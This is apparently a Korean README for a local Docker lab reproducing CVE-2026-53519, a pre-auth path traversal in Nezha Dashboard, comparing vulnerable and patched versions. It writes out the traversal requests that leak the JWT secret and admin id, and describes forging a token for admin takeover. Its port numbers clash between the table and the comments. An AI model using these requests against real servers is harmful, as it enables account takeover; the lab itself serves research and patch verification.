
CVE-2026-53519를 재현하는 Docker 랩으로, Nezha Dashboard의 인증 전 경로 순회 취약점으로 jwt_secret_key가 유출되어 JWT 위조 및 관리자 탈취가 가능하다.
| Image | URL (loopback) | 예상 결과 |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | config.yaml 유출, admin 탈취 |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | 차단됨 (404) |
둘 다 127.0.0.1에만 바인딩되며, LAN에 노출되지 않습니다. 기본 admin 로그인: admin / admin.
python) - 유출된 sqlite.db 파싱용 (없을 경우 fallback 존재)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. 빠른 스모크 체크
.\lab.ps1 validate
# 3. VULN에서 전체 익스플로잇 체인
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. PATCHED에서 대조 (예상: 차단됨)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (왜 이 변형만 유출되는가)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
관리 명령:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> jwt_secret_key 유출.
GET /dashboard../data/sqlite.db -> admin user id 획득 (id=1).{user_id:"1", ip:"", exp:<future>} 서명 -> Authorization: Bearer <token>
-> GET /api/v1/profile (인증) 및 GET /api/v1/user (admin 전용 엔드포인트) -> admin takeover.Root cause 상세: analysis/ROOT_CAUSE.md 및
analysis/vuln-vs-patch.diff 참조.
전체 보고서: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # 고정된 seed jwt_secret_key (deterministic)
seed/lab_canary.txt # file read 시연용 canary
lab.ps1 / lab-common.ps1 # 관리 + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # 전체 익스플로잇 체인
poc/negative-controls.ps1 # 차단되는 변형들에 대한 대조
poc/parse_users.py # 유출된 sqlite.db 파싱 -> admin user id
analysis/ROOT_CAUSE.md # 분석 + 패치
analysis/vuln-vs-patch.diff # controller.go v2.0.12 -> v2.0.13 diff
evidence/ # 각 실행의 출력 (leaked-config, token, userlist...)
Lab은 로컬 환경에서 연구/교육 목적으로만 사용됩니다. seed/config.yaml의 jwt_secret_key는
가짜 값이며 데모용입니다. 이 취약점이 있는 image/version을 production에서 사용하지 마십시오.